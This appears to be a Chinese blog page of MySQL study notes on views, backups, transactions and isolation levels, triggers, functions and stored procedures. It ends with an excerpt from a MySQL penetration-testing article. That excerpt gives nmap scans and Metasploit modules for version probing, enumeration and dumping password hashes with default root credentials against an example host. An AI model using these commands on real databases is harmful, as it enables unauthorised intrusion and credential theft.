    视图: view, 是一种有结构(有行有列)但是没结果(结构中不真实存放数据)的虚拟表, 虚拟表的结构来源不是自己定义, 而是从对应的基表中产生(视图的数据来源).

     

    9.1 创建视图

    基本语法

    Create view 视图名字 as select语句; -- select语句可以是普通查询;可以是连接查询; 可以是联合查询; 可以是子查询.

     

    创建单表视图: 基表只有一个

    创建多表视图: 基表来源至少两个

     

    9.2 查看视图

    查看视图: 查看视图的结构

     

    视图是一张虚拟表: 表, 表的所有查看方式都适用于视图: show tables [like]/desc 视图名字/show create table 视图名;

     

    视图比表还是有一个关键字的区别: view. 查看”表(视图)”的创建语句的时候可以使用view关键字

     

    视图一旦创建: 系统会在视图对应的数据库文件夹下创建一个对应的结构文件: frm文件

     

    9.3 使用视图

    使用视图主要是为了查询: 将视图当做表一样查询即可.

     

    视图的执行: 其实本质就是执行封装的select语句.

     

    9.4 修改视图

    视图本身不可修改, 但是视图的来源是可以修改的.

     

    修改视图: 修改视图本身的来源语句(select语句)

    Alter view 视图名字 as 新的select语句;

     

    9.5 删除视图

    Drop view 视图名字;

     

    9.6 视图意义

    1. 视图可以节省SQL语句: 将一条复杂的查询语句使用视图进行保存: 以后可以直接对视图进行操作
    2. 数据安全: 视图操作是主要针对查询的, 如果对视图结构进行处理(删除), 不会影响基表数据(相对安全).
    3. 视图往往是在大项目中使用, 而且是多系统使用: 可以对外提供有用的数据, 但是隐藏关键(无用)的数据: 数据安全
    4. 视图可以对外提供友好型: 不同的视图提供不同的数据, 对外好像专门设计
    5. 视图可以更好(容易)的进行权限控制
     

    9.7 视图数据操作

    视图是的确可以进行数据写操作的: 但是有很多限制

    将数据直接在视图上进行操作.

     

    9.7.1 新增数据

    数据新增就是直接对视图进行数据新增.

     

    1.多表视图不能新增数据

     

    2.可以向单表视图插入数据: 但是视图中包含的字段必须有基表中所有不能为空(或者没有默认值)字段

     

    3.视图是可以向基表插入数据的.

     

    9.7.2 删除数据

    多表视图不能删除数据

     

    单表视图可以删除数据

     

    9.7.3 更新数据

    理论上不能单表视图还是多表示视图都可以更新数据.

     

    更新限制: with check option, 如果对视图在新增的时候,限定了某个字段有限制: 那么在对视图进行数据更新操作时,系统会进行验证: 要保证更新之后,数据依然可以被实体查询出来,否则不让更新.

     

    9.8 视图算法

    视图算法: 系统对视图以及外部查询视图的Select语句的一种解析方式.

     

    视图算法分为三种

    Undefined: 未定义(默认的), 这不是一种实际使用算法, 是一种推卸责任的算法: 告诉系统,视图没有定义算法, 系统自己看着办

    Temptable: 临时表算法: 系统应该先执行视图的select语句,后执行外部查询语句

    Merge: 合并算法: 系统应该先将视图对应的select语句与外部查询视图的select语句进行合并,然后执行(效率高: 常态)

     

    算法指定: 在创建视图的时候

    Create algorithm = 指定算法 view 视图名字 as select语句;

     

    视图算法选择: 如果视图的select语句中会包含一个查询子句(五子句), 而且很有可能顺序比外部的查询语句要靠后, 一定要使用算法temptable,其他情况可以不用指定(默认即可).

    第10章 数据备份与还原

    备份: 将当前已有的数据或者记录保留

    还原: 将已经保留的数据恢复到对应的表中

     

    为什么要做备份还原?

    防止数据丢失: 被盗, 误操作
    保护数据记录
     

    数据备份还原的方式有很多种: 数据表备份, 单表数据备份, SQL备份, 增量备份.

     

    10.1 数据表备份

    不需要通过SQL来备份: 直接进入到数据库文件夹复制对应的表结构以及数据文件, 以后还原的时候,直接将备份的内容放进去即可.

     

    数据表备份有前提条件: 根据不同的存储引擎有不同的区别.

     

    存储引擎: mysql进行数据存储的方式: 主要是两种: innodb和myisam(免费)

     

    对比myisam和innodb: 数据存储方式

    Innodb: 只有表结构,数据全部存储到ibdata1文件中

    Myisam: 表,数据和索引全部单独分开存储

     

    这种文件备份通常适用于myisam存储引擎: 直接复制三个文件即可, 然后直接放到对应的数据库下即可以使用.

     

    10.2 单表数据备份

    每次只能备份一张表; 只能备份数据(表结构不能备份)

    如果业务数据非常多,建议只导出表结构,然后用SELECT INTO OUTFILE把数据导出成文本文档,具体操作可以看10.5节图形化操作。

     

    备份: 从表中选出一部分数据保存到外部的文件中(outfile)

    Select */字段列表 into outfile 文件所在路径 from 数据源; -- 前提: 外部文件不存在

     

    高级备份: 自己制定字段和行的处理方式

    Select */字段列表 into outfile 文件所在路径 fields 字段处理 lines 行处理 from 数据源;

    Fields: 字段处理

    Enclosed by: 字段使用什么内容包裹, 默认是’’,空字符串

    Terminated by: 字段以什么结束, 默认是”\t”, tab键

    Escaped by: 特殊符号用什么方式处理,默认是’\\’, 使用反斜杠转义

    Lines: 行处理

    Starting by: 每行以什么开始, 默认是’’,空字符串

    Terminated by: 每行以什么结束,默认是”\r\n”,换行符

     

    数据还原: 将一个在外部保存的数据重新恢复到表中(如果表结构不存在,那么sorry)

    Load data infile 文件所在路径 into table 表名[(字段列表)] fields字段处理 lines 行处理; -- 怎么备份的怎么还原

     

    10.3 SQL备份与还原

    备份的是SQL语句: 系统会对表结构以及数据进行处理,变成对应的SQL语句, 然后进行备份: 还原的时候只要执行SQL指令即可.(主要就是针对表结构)

     

    备份: mysql没有提供备份指令: 需要利用mysql提供的软件: mysqldump.exe

    Mysqldump.exe也是一种客户端,需要操作服务器: 必须连接认证

    Mysqldump/mysqldump.exe -hPup 数据库名字 [数据表名字1[ 数据表名字2...]] > 外部文件目录(建议使用.sql)

    mysqldump用来把业务数据导出成SQL文件,其中也包括了表结构

    mysqldump -uroot -p [no-data] 逻辑库 > 路径

    不写no-data表示既包含表结构,又包含数据

    单表备份

    图形化操作如下,选中数据表,点击右键

     

    整库备份

    Mysqldump/mysqldump.exe -hPup 数据库名字 > 外部文件目录

    对应图形化操作如下,选中数据库选中右键

     

    SQL还原数据: 两种方式还原

    方案1: 使用mysql.exe客户端还原

    Mysql.exe/mysql -hPup 数据库名字 < 备份文件目录

     

    方案2: 使用SQL指令还原

    1.use选择数据库; 2.Source 备份文件所在路径;

    对应图形化操作如下

     

    SQL备份优缺点

    优点: 可以备份结构
    缺点: 会浪费空间(额外的增加SQL指令)

    练习题

    答案选A,语法记忆,注意标点符号。

     

     

    10.4 增量备份

    不是针对数据或者SQL指令进行备份: 是针对mysql服务器的日志文件进行备份

    增量备份: 指定时间段开始进行备份., 备份数据不会重复, 而且所有的操作都会备份(大项目都用增量备份)

    练习题

    答案选C,C错在数据导出,导出的纯粹是业务数据。

     

    10.5 大文件备份和还原(图形化操作,推荐!)

    业务数据比较多的时候,只导出表结构到sql文件,业务数据文件导出到txt文件,这样就跳过了sql词法分析和语法优化,哪怕导入几千万条数据,也可以在1分钟内导入完毕

    1.导出表结构

    2.导出表中业务数据

     

    3.删除表,为导入做准备

     

    4.导入表结构

    5.刷新后看到表结构

    6.导入业务数据文件

     

    7.刷新表即可看到导入成功

     

    第11章 事务安全

    事务: transaction, 一系列要发生的连续的操作

    事务安全: 一种保护连续操作同时满足(实现)的一种机制

    事务安全的意义: 保证数据操作的完整性

     

    如果SQL语句直接操作文件是很危险的,比如你要给员工涨工资,正在update操作的时候,系统断电了,你就不知道谁已经涨了谁还没涨。

    我们应该利用日志来间接写入。

    MySQL总共5种日志,其中只有redo日志和undo日志与事务有关

     

    日志就相当于数据文件的一个副本,SQL语句操作什么样的记录,MySQL就会把这些记录拷贝到undo日志,然后增删改查的操作就会记录到redo日志,最后把redo日志和数据库文件进行同步就行了。即使同步过程中断电了,有了redo日志的存在,重启MySQL数据库之后继续同步数据,同步成功后我们修改的数据就真正同步到数据库里面了,有事务的数据库抵抗风险的能力变强了。

    RDBMS=SQL语句+事务(ACID)

    事务是一个或者多个SQL语句组成的整体,要么全部执行成功,要么全部失败。

     

    11.1 事务操作

    事务操作分为两种: 自动事务(默认的), 手动事务

    默认情况下,MySQL执行每条SQL语句都会自动开启和提交事务。为了让多条SQL语句纳入到一个事物之下,可以手动管理事务。

    START TRANSACTION;

    SQL语句

    [COMMIT | ROLLBACK];

    START TRANSACTION;
    
    DELETE FROM t_emp;
    DELETE FROM t_dept;
    SELECT * FROM t_emp;
    SELECT * FROM t_dept;

    开启事务: 告诉系统以下所有的操作(写)不要直接写入到数据表, 先存放到redo日志。

    删除员工表t_emp和部门表t_dept之后,SQL语句查询两表的的数据均为空

    但是去看数据表的数据却仍然存在,这是为什么呢?

    因为你开启了事务,你现在的操作还在redo日志里面,并没有同步到数据库文件里面,你只有COMMIT之后才会同步

    继续执行

    COMMIT;

    去数据表查看,2张数据表都被清空了。

    当然你也可以直接回滚,执行ROLLBACK;

    ROLLBACK;

    这样你的redo日志被清空,下次操作的时候重新往redo日志里面进行操作,就不会受到上一次操作的影响。

     

    11.2 自动事务处理

    在mysql中: 默认的都是自动事务处理, 用户操作完会立即同步到数据表中.

    自动事务: 系统通过autocommit变量控制

    Show variables like ‘autocommit’;

     

    关闭自动提交: set autocommit = off/0;

     

    再次直接写操作

     

    自动关闭之后,需要手动来选择处理: commit提交, rollback回滚

     

    注意: 通常都会使用自动事务

     

    11.3 事务原理

    事务操作原理: 事务开启之后, 所有的操作都会临时保存到事务日志, 事务日志只有在得到commit命令才会同步到数据表,其他任何情况都会清空(rollback, 断电, 断开连接)

     

    11.4 回滚点

    回滚点: 在某个成功的操作完成之后, 后续的操作有可能成功有可能失败, 但是不管成功还是失败,前面操作都已经成功: 可以在当前成功的位置, 设置一个点: 可以供后续失败操作返回到该位置, 而不是返回所有操作, 这个点称之为回滚点.

     

    设置回滚点语法: savepoint 回滚点名字;

     

    回到回滚点语法: rollback to 回滚点名字;

     

    11.5 事务ACID属性

    A: Atomic原子性,一个事物中的所有操作要么全部完成,要么全部失败。事物执行后,不允许停留在中间某个状态。

    C: Consistency一致性,不管在任何给定的时间,并发事务有多少,事务必须保证运行结果的一致性。事务可以并发执行,但是最终MySQL却串行执行。

    怎么保证一致性?

    阻止事务之间相互读取临时数据

    I: Isolation隔离性,每个事务只能看到事务内的相关数据,别的事务的临时数据在当前事务是看不到的。隔离性要求事务不受其他并发事务的影响,在给定时间内,该事务是数据库运行的唯一事务。

     

    如果事务没有隔离性,按照不受控制的顺序并发读取和修改数据,想像一下会出现哪些问题?

    一、脏读:一个事务读取了第二个事物未提交的数据,当第二个事务回滚了数据之后,第一个事务就读取到了无效的数据。

    如下图,事务1查询course_id=59的平均分score为9.2,而事务2此时将其平均分修改为9.6,当事务1再次读取的时候,平均分就变成了9.6,此时事务2回滚,事务1就是读取的无效数据,简称脏读。

    二、不可重复读:一个事物前后两次读取的同一数据不一致。

    如下图,事务1查询course_id=59的平均分score为9.6,而事务2此时将其平均分修改为9.7,并将修改提交,当事务1再次读取的时候,平均分就变成了9.7,事务1就是读取的错误数据,注意,不可重复读和脏读的区别就是,脏读的数据会回滚,不可重复读会把数据提交,脏读的数据是无效的,而不可重复读因为事务2的提交,数据是有效的。

    三、幻读:指一个事务两次查询的结果集记录数不一致

    如下图,事务1查询到平均分在9.5到9.8之间的记录数是2条,经过事务2对course_id=43的平均分修改,导致事务1第二次查询的记录数为3条,这种情况就叫幻读,幻读的数据最终也是有效的数据。

    innodb的事务隔离性保证了我们事务操作的安全,才让我们实际操作中并没有出现这么多问题。

    怎么保证隔离性?

    undo和redo日志中的数据都会被标记属于哪个事务的,所以事务执行过程中就只能读到自己的临时数据了。

    D: Durability持久性,事务一旦提交,结果便是永久性的。即便发生宕机,仍然可依靠事务日志完成数据持久化。

     

    锁机制: innodb默认是行锁, 但是如果在事务操作的过程中, 没有使用到索引,那么系统会自动全表检索数据, 自动升级为表锁

    行锁: 只有当前行被锁住, 别的用户不能操作

    表锁: 整张表被锁住, 别的用户都不能操作

     

    11.6 事务的隔离级别

    在某些特定场合,我们又想让事务之间读取到一些临时数据,这就需要修改事务的隔离级别

    设置事务隔离级别的语法如下:

    SET [PERSIST|GLOBAL|SESSION]
        TRANSACTION ISOLATION LEVEL
        {
            READ UNCOMMITTED | READ COMMITTED
            | REPEATABLE READ
            | SERIALIZABLE
        }
    
    -- PERSIST:所有连接到mysql服务的新的连接都有效,并且mysql服务器重启后也不会丢失修改
    -- GLOCAL: 所有连接到mysql服务的新的连接都有效,但是mysql服务器重启后会丢失这个修改
    -- SESSION:开发最常用,只会影响到当前连接,当前连接断开,这个隔离级别的修改就会丢失
    
    -- 开发中也可以用show variables like '%iso%'查看当前session的隔离级别
    -- 因为有一个变量参数名为transaction_isolation

     

    11.6.1 read uncommitted

    场景一:比如买票的场景,逢年过节都需要买票回家,假如A和B都在买同一辆车的车票,此时还剩最后一张票,A点击购买,但是还没付款提交,因为查看不到事务之间的临时数据,所以B查看时,也还剩一张票,于是B点击购买,立即付款提交,结果A就会购买失败。所以理想的情况应该是,当A点击购买去付款时,B应该看得到这个临时数据,显示没有票才对。这种场景会出现脏读、幻读、不可重复读情况,隔离性最低,并发性最高。

    eg1:查看事务之间能否读取未提交的数据

    START TRANSACTION;
    UPDATE t_emp SET sal=1;

    此时开启事务1并进行更新操作,但是没有commit

    再开启一个事务2

    START TRANSACTION;
    SELECT empno, ename, sal FROM t_emp;
    COMMIT;

    注意:这里没有修改数据,仅仅只是select查询数据,redo日志没有改变,所以不会做同步到文件的操作,commit之后会清空对应的undo日志数据。

    结果显示如下,前者在事务1中修改sal为1,事务2中却看不到。

    如果修改事务2隔离级别,如下

    SET SESSION TRANSACTION ISOLATION LEVEL READ UNCOMMITTED; /*代表可以读取其他事务未提交的数据*/
    START TRANSACTION;
    SELECT empno, ename, sal FROM t_emp;
    COMMIT;

    结果立马就变了,事务2能够读取事务1未提交的数据,但是要注意,因为前者并未commit,所以数据库表文件的数据还没有修改

     

    11.6.2 read committed

    场景二:银行转账的场景,A事务执行往Scott账户转账1000的操作,B事务执行扣除Scott账户100块的操作,如果A能读取到B事务未提交的数据,那么转账后就会修改为5900,而此时因为各种原因需要回滚支出100元的这个操作,此时账户就只有5900块了,凭空消失100块,所以只有A事务读取到B事务提交后的数据才能保证转账的正确性。这种场景就和买票的场景完全不同。这种场景是会出现幻读和不可重复读的。

    还是eg1的例子,此时修改隔离级别的SQL语句即可

    SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED;/*只能读取其他事务提交的数据*/
    START TRANSACTION;
    SELECT empno, ename, sal FROM t_emp;
    COMMIT;

    其他事物提交的数据都会同步到数据库表文件中,所以这里就是从数据库表文件中读取的数据。

     

    11.6.3 repeatable read

    场景三:你在淘宝或者京东等电商,点击购买,选好收货地址之类的之后,点击提交订单,就会让你输入支付密码支付,此时显示的价格是undo日志的价格,如果此时卖家涨价,你购买的还是涨价之前的价格,这种场景就是可重复读。可重复读不会出现脏读、不可重复读的情况,因为事务1读取不到事务2对数据的修改。对于幻读,这里只有靠临键锁才能保证不出现幻读的问题。

    新建一个查询,开启事务1

    SET SESSION TRANSACTION ISOLATION LEVEL REPEATABLE READ;/*事务在执行中反复读取数据,得到的结果是一致的*/
    START TRANSACTION;
    SELECT empno, ename, sal FROM t_emp;

    这里一定要先执行一次select语句,保证undo日志拷贝过一次数据

    再新建一个查询,开启事务2

    START TRANSACTION;
    UPDATE t_emp SET sal=1;

    此时数据库表文件的数据如下

     

    此时在事务1执行SELECT empno, ename, sal FROM t_emp;

    虽然数据库表文件的数据已经修改了,但是事务1处的事务隔离级别是可以反复读,每次都从undo日志里面读取,所以这里还是修改前的价格,直到提交commit,commit之后清空对应的undo日志记录,下次会重新从数据库文件里面拷贝数据,那个时候才是sal=1的数据。

    注意:MySQL默认事务隔离级别就是REPEATABLE READ

     

    11.6.4 serializable

    由于事务并发执行所带来的各种问题,前三种隔离级别只适用于在某种业务场景中,凡事序列化的隔离性,让事务逐一执行,就不会产生上述问题了。但是序列化的隔离级别使用的特别少,它让事务的并发性大大降低。可重复读不会出现幻读、脏读、不可重复读的情况,因为事务1读取不到事务2对数据的修改。隔离性最高,并发性最低,其实就是没有并发,所有事务按照顺序执行。

    开始事务1,sql语句如下

    START TRANSACTION;
    UPDATE t_emp SET sal=2;

    开始事务2,sql语句如下

    SET SESSION TRANSACTION ISOLATION LEVEL SERIALIZABLE;/*事务序列化*/
    START TRANSACTION;
    SELECT empno, ename, sal FROM t_emp;

    但是这行sql之后并没有出结果

    直到你的事务1执行commit之后,事务2就会立即执行查询结果。

    针对这4种隔离级别与脏读幻读不可重复读的关系如下:

     

    第12章 触发器

    触发器: trigger, 事先为某张表绑定好一段代码 ,当表中的某些内容发生改变的时候(增删改)系统会自动触发代码,执行.

    触发器: 事件类型, 触发时间, 触发对象

    事件类型: 增删改, 三种类型insert,delete和update

    触发时间: 前后: before和after

    触发对象: 表中的每一条记录(行)

     

    一张表中只能拥有一种触发时间的一种类型的触发器: 最多一张表能有6个触发器

     

    12.1 创建触发器

    在mysql高级结构中: 没有大括号,  都是用对应的字符符号代替

     

    触发器基本语法

    -- 临时修改语句结束符

    Delimiter 自定义符号: 后续代码中只有碰到自定义符号才算结束

     

    Create trigger 触发器名字 触发时间 事件类型 on 表名 for each row

    Begin -- 代表左大括号: 开始

    -- 里面就是触发器的内容: 每行内容都必须使用语句结束符: 分号

    End -- 代表右带括号: 结束

    -- 语句结束符

    自定义符号

    -- 将临时修改修正过来

    Delimiter  ;

     

    12.2 查看触发器

    查看所有触发器或者模糊匹配

    Show triggers [like ‘pattern’];

    \g 的作用是分号和在sql语句中写’;’是等效的

    \G 的作用是将查到的结构旋转90度变成纵向

     

    可以查看触发器创建语句

    Show create trigger 触发器名字;

     

    所有的触发器都会保存一张表中: Information_schema.triggers

     

    12.3 使用触发器

    触发器: 不需要手动调用, 而是当某种情况发生时会自动触发.(订单里面插入记录之后)

     

    12.4 修改触发器&删除触发器

    触发器不能修改,只能先删除,后新增.

    Drop trigger 触发器名字;

     

    12.5 触发器记录

    触发器记录: 不管触发器是否触发了,只要当某种操作准备执行, 系统就会将当前要操作的记录的当前状态和即将执行之后新的状态给分别保留下来, 供触发器使用: 其中, 要操作的当前状态保存到old中, 操作之后的可能形态保存给new.

    Old代表的是旧记录,new代表的是新记录

    删除的时候是没有new的; 插入的时候是没有old

     

    Old和new都是代表记录本身: 任何一条记录除了有数据, 还有字段名字.

    使用方式: old.字段名 / new.字段名(new代表的是假设发生之后的结果)

     

    查看触发器的效果

     

    如果触发器内部只有一条要执行的SQL指令, 可以省略大括号(begin和end)

    Create trigger 触发器名字 触发时间 事件类型 on 表名 for each row

    一条SQL指令;

    触发器: 可以很好的协调表内部的数据处理顺序和关系. 但是从JAVA角度出发, 触发器会增加数据库维护的难度, 所以较少使用触发器.

    第13章 函数

     

    13.1 数字函数

    eg:求四舍五入

    select round(4.6288*100)/100;

    13.2 日期函数

    13.2.1 获取系统时间函数

    NOW()函数能获得系统日期和时间,格式yyyy-MM-dd hh:mm:ss,数据库的最小时间单位是秒s,而不是毫秒ms
    CURDATE()函数能获得当前系统日期,格式yyyy-MM-dd
    CURTIME()函数能获得当前系统时间,格式hh:mm:ss

    SELECT NOW(), CURDATE(), CURTIME();

     

    13.2.2 日期格式化函数

    DATE_FORMAT(日期,  表达式)

    该函数用于格式化日期,返回用户想要的日期格式

    eg:比如查看员工入职的年份

    SELECT ename, DATE_FORMAT(hiredate,"%Y") AS result FROM t_emp;

    占位符说明

    eg:查询某个日期是星期几

    SELECT DATE_FORMAT("2021-1-1","%w");

    结果是星期5,如果是大写%W,那么就输出英文Friday

    eg:利用日期函数,查询1981年上半年入职的员工有多少个

    SELECT COUNT(*) FROM t_emp
    WHERE DATE_FORMAT(hiredate,"%Y")=1981
    AND DATE_FORMAT(hiredate,"%m")<=6;

    练习题

     

    答案选A,语法基础。

     

    13.2.3 日期偏移计算

    注意:MySQL数据库里面,两个日期不能直接加减,日期也不能与数字加减
    比如 select hiredate+1 from t_emp;
    其实hiredate是"1980-12-18"变成了19801218,然后+1,结果是19801219

    DATE_ADD(日期, INTERVAL 偏移量  偏移的时间单位)

    该函数可以实现日期的偏移计算,而且时间单位很灵活

    举几个例子

    /*100天之后是什么时间*/
    SELECT DATE_ADD(NOW(), INTERVAL 100 DAY);
    /*300分钟之前是什么时间*/
    SELECT DATE_ADD(NOW(), INTERVAL -300 MINUTE);
    /*6个月零3天之前是什么时间*/
    SELECT DATE_ADD(DATE_ADD(NOW(),INTERVAL -6 MONTH),INTERVAL -3 DAY)

    把日期偏移函数和日期格式化函数混合用一下

    eg:6个月零3天之前是什么时间,保留年月日即可

    SELECT 
    DATE_FORMAT(DATE_ADD(DATE_ADD(NOW(),INTERVAL -6 MONTH), INTERVAL -3 DAY), "%Y/%m/%d");

     

     

    13.2.4 计算日期之间相隔的天数

    DATEDIFF(日期1, 日期2)

    该函数用来计算两个日期之间相差的天数为日期1-日期2。

    eg:比如计算现在和2019-1-1相差多少天

    SELECT DATEDIFF(NOW(),"2019-1-1");

     

    2019-1-1已经是707天之前了。

     

    13.3 字符函数

    eg:查询员工表中姓名小写、姓名大写、姓名包含的字符数、底薪末尾添加$,姓名包含有A

    SELECT
    	LOWER(ename), UPPER(ename), LENGTH(ename),
    	CONCAT(sal,"$"),INSTR(ename,"A")
    FROM t_emp;

    这里对于汉字,LOWER和UPPER函数是没有转换作用的,对于LENGTH函数,因为这里的数据库编码是UTF8字符集,所以一个汉字占3个字节,长度为6,INSTR函数会返回首次出现A的位置,从1开始,如果没有包含A,则返回0。

    INSERT例子

    /*插入"先生"并替换从1开始的3个字符*/
    SELECT INSERT("女士早上好", 1, 3, "先生");

     

    REPLACE例子

    SELECT REPLACE("女士早上好","女士","先生");

     

    SUBSTR、SUBSTRING、LPAD、TRIM例子

    SELECT SUBSTR("你好世界", 3, 4), SUBSTRING("你好世界", 3, 2),
    LPAD(SUBSTRING("13312345678", 8, 4),11,"*"),
    TRIM("                Hello World    ");

    说明:SUBSTR("你好世界", 3, 4)表示获取从1开始下标为[3,4]闭区间位置子串,SUBSTRING("13312345678", 8, 4)表示获取从下标8开始后面的4个字符,LPAD(SUBSTRING("13312345678", 8, 4),11,"*")表示子串将由"*"左填充到11个字符的长度,TRIM就是去除首尾空格。

    练习题

    答案选C,A项错在直接把最后4位也用*替代了,B错在substring下标从1开始,D错在是rpad而不是lpad。

     

     

    13.4 条件函数

    13.4.1 简单条件判断

    SQL语句可以利用条件函数来实现编程语言里的条件判断

    IFNULL(表达式, 值)

    IF(表达式, 值1, 值2)

    eg:SALES部门发放礼品A,其余部门发放礼品B,打印每名员工获得的礼品

    SELECT
    	e.empno, e.ename, d.dname,
    	IF(d.dname="SALES","礼品A","礼品B")
    FROM t_emp e JOIN t_dept d ON e.deptno=d.deptno;

    练习题

    答案选D,A错在as写成逗号,B错在函数用错,if也是3个参数,C错在入学日期和系号之间没有逗号分隔。

     

    答案选A,B错在函数错用ifnull,并且ifnull也是2个参数而不是3个,C错在if函数里面的相框参数填写反了,D错在根们没有打印相框类型。

     

    13.4.2 复杂条件判断

    复杂的条件判断可以用条件语句来实现,比IF语句功能更强大

    CASE
        WHEN 表达式 THEN 值1
        WHEN 表达式 THEN 值2
        ...
        ELSE 值N
    END

     

    eg:公司集体旅游,每个部门目的地不同,SALES部门去P1地点,ACCOUNTING部门去P2地点,RESEARCH部门去P3地点,查询每名员工的旅行地点。

    SELECT
    	e.empno, e.ename,
    	CASE
    		WHEN d.dname="SALES" THEN "p1"
    		WHEN d.dname="ACCOUNTING" THEN "p2"
    		WHEN d.dname="RESEARCH" THEN "P3"
    		END AS place
    FROM t_emp e JOIN t_dept d ON e.deptno=d.deptno;

    eg:公司调整员工基本工资,具体方案如下:

    1.SALES部门中工龄超过20年,涨幅10%
    2.SALES部门中工龄不满20年,涨幅5%
    3.ACCOUNTING部门,涨幅300
    4.RESEARCH部门里低于部门平均底薪,涨幅200
    5.没有部门的员工,涨幅100

    UPDATE t_emp e LEFT JOIN t_dept d ON e.deptno=d.deptno
    LEFT JOIN (SELECT deptno, AVG(sal) avg FROM t_emp GROUP BY deptno) t
    ON e.deptno=d.deptno
    SET sal=(
    	CASE
    		WHEN d.dname="SALES" AND DATEDIFF(NOW(),e.hiredate)/365>=20
    		THEN e.sal*1.1
    		WHEN d.dname="SALES" AND DATEDIFF(NOW(),e.hiredate)/365<20
    		THEN e.sal*1.05
    		WHEN d.dname="ACCOUNTING" THEN e.sal+300
    		WHEN d.dname="RESEARCH" AND e.sal<t.avg THEN e.sal+200
    		WHEN e.deptno IS NULL THEN e.sal+100
    		ELSE e.sal
    	END
    );
    

     

     

     

    13.5 自定义函数

    函数要素: 函数名, 参数列表(形参和实参), 返回值, 函数体(作用域)

    13.5.1 创建函数

    创建语法

    Create function  函数名([形参列表]) returns 数据类型 -- 规定要返回的数据类型

    Begin

    -- 函数体

    -- 返回值: return 类型(指定数据类型);

    End

     

    定义函数

     

    自定义函数与系统函数的调用方式是一样: select 函数名([实参列表]);

     

    13.5.2 查看函数

    查看所有函数: show function status [like ‘pattern’];

     

    查看函数的创建语句: show create function 函数名;

     

    13.5.3 修改函数&删除函数

    函数只能先删除后新增,不能修改.

    Drop function 函数名;

     

    13.5.4 函数参数

    参数分为两种: 定义时的参数叫形参, 调用时的参数叫实参(实参可以是数值也可以是变量)

    形参: 要求必须指定数据类型

    Function 函数名(形参名字 字段类型) returns 数据类型

     

    在函数内部使用@定义的变量在函数外部也可以访问

     

    13.5.5 作用域

    Mysql中的作用域与js中的作用域完全一样

    全局变量可以在任何地方使用; 局部变量只能在函数内部使用.

    全局变量: 使用set关键字定义, 使用@符号标志

    局部变量: 使用declare关键字声明, 没有@符号: 所有的局部变量的声明,必须在函数体开始之前

     

    第14章 存储过程

    存储过程简称过程,procedure, 是一种用来处理数据的方式.

    存储过程是一种没有返回值的函数.

     

    14.1 创建过程

    Create procedure 过程名字([参数列表])

    Begin

    -- 过程体

    End

     

    14.2 查看过程

    函数的查看方式完全适用于过程: 关键字换成procedure

    查看所有过程: show procedure status [like ‘pattern’];

     

    查看过程创建语句: show create procedure 过程名;

     

    14.3 调用过程

    过程没有返回值: select是不能访问的.

     

    过程有一个专门的调用关键字: call

     

    14.4 修改过程&删除过程

    过程只能先删除,后新增

    Drop procedure 过程名;

     

    14.5 过程参数

    函数的参数需要数据类型指定, 过程比函数更严格.

    过程还有自己的类型限定: 三种类型

    In: 数据只是从外部传入给内部使用(值传递): 可以是数值也可以是变量

    Out: 只允许过程内部使用(不用外部数据), 给外部使用的.(引用传递: 外部的数据会被先清空才会进入到内部): 只能是变量

    Inout: 外部可以在内部使用,内部修改也可以给外部使用: 典型的引用传递: 只能传变量

     

    基本使用

    Create procedure 过程名(in 形参名字 数据类型, out 形参名字 数据类型, inout 形参名字 数据类型)

     

    调用: out和inout类型的参数必须传入变量,而不能是数值

     

    正确调用: 传入变量

     

    存储过程对于变量的操作(返回)是滞后的: 是在存储过程调用结束的时候,才会重新将内部修改的值赋值给外部传入的全局变量.

     

    测试: 传入数据1,2,3: 说明局部变量与全局变量无关

     

    最后: 在存储过程调用结束之后, 系统会将局部变量重复返回给全局变量(out和inout)

     

    关注、留言,我们一起学习。

     

    ===============Talk is cheap, show me the code================

    展开全文
  • MySQL数据库渗透及漏洞利用总结

    千次阅读 2019-09-16 16:03:27
    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和W...
        

    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。

    1.1 Mysql信息收集

    1.端口信息收集

    Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

      1. iisputter,直接填写3306端口,IP地址填写单个或者C段地址。

      2. nmap扫描nmap -p 3306 192.168.1.1-254

    特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。

    2.版本信息收集

    (1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:

    use auxiliary/scanner/mysql/mysql_version
    set rhosts 192.168.157.130
    run

    (2)mysql查询版本命令:

    SELECT @@version`、`SELECT version();

    (3)sqlmap通过注入点扫描确认信息:

    sqlmap.py -u url --dbms mysql

    (4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。

    3.数据库管理信息收集

    Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

    4.msf信息收集模块

    (1)mysql哈希值枚举

    use auxiliary/scanner/mysql/mysql_hashdump
    set username root
    set password root
    run

    (2)获取相关信息

    use auxiliary/admin/mysql/mysql_enum
    set username root
    set password root
    run

    获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

    (3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的–sql-shell模块类似。

    use auxiliary/admin/mysql/mysql_sql

    (4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下

    use auxiliary/scanner/mysql/mysql_schemadump

    (5)文件枚举和目录可写信息枚举

    auxiliary/scanner/mysql/mysql_file_enum
    auxiliary/scanner/mysql/mysql_writable_dirs

    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

    1.2Mysql密码获取

    1.2.1暴力破解

